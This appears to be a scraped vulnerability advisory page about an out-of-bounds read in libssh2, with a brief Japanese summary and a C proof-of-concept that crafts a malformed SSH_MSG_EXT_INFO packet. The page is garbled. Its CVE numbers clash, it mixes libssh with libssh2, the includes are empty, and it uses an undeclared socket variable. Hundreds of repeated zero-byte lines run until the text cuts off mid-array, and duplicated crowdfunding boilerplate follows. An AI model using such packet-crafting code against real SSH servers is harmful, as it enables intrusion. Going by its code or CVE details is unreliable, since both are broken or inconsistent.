libssh CVE-2020-1484 Out-of-bounds Read Vulnerability Advisory

脆弱性サマリー：CVE-2020-14827（libssh2 境界外読み込み脆弱性） 脆弱性概要 脆弱性情報番号：CVE-2020-14827 脆弱性タイプ：境界外読み込み（Out-of-bounds read） 影響ライブラリ：libssh2（バージョン / #include #include #include #include #define BUFFER_SIZE 1024 int main(int argc, char argv[]) { if (argc != 3) { fprintf(stderr, "Usage: %s \n", argv[0]); return 1; } const char host = argv[1]; int port = atoi(argv[2]); LIBSSH2_SESSION session; int rc; char *hostkey; size_t hostkey_len; // Initialize libssh2 libssh2_init(0); // Create session session = libssh2_session_init(); if (!session) { fprintf(stderr, "Failed to initialize session\n"); return 1; } // Set timeout libssh2_session_set_timeout(session, 5000); // Connect to server rc = libssh2_session_handshake(session, socket_fd); // socket_fd should be pre-connected if (rc != LIBSSH2_ERROR_NONE) { fprintf(stderr, "Handshake failed: %d\n", rc); libssh2_session_free(session); return 1; } // Craft malicious packet with oversized extension data unsigned char packet[] = { 0x00, 0x00, 0x00, 0x04, // Length: 4 bytes 0x01, // Packet type: SSH_MSG_EXT_INFO 0x00, 0x00, 0x00, 0x01, // Number of extensions: 1 0x00, 0x00, 0x00, 0x08, // Extension name length: 8 'e', 'x', 't', 'e', 'n', 's', 'i', 'o', // Extension name: "extensio" (truncated) 0x00, 0x00, 0x00, 0x00, // Extension data length: 0 (but will be misinterpreted) 0x00, 0x00, 0x00, 0x00, // Dummy data 0x00, 0x00, 0x00, 0x00, // More dummy data 0x00, 0x00, 0x00, 0x00, // Even more dummy data 0x00, 0x00, 0x00, 0x00, // And more... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0x00, // ... 0x00, 0x00, 0x00, 0

目標達成すべての支援者に感謝 — 100%達成しました！

libssh CVE-2020-1484 Out-of-bounds Read Vulnerability Advisory

このソースからの他の記事

目標達成 すべての支援者に感謝 — 100%達成しました！

libssh CVE-2020-1484 Out-of-bounds Read Vulnerability Advisory

このソースからの他の記事

目標達成すべての支援者に感謝 — 100%達成しました！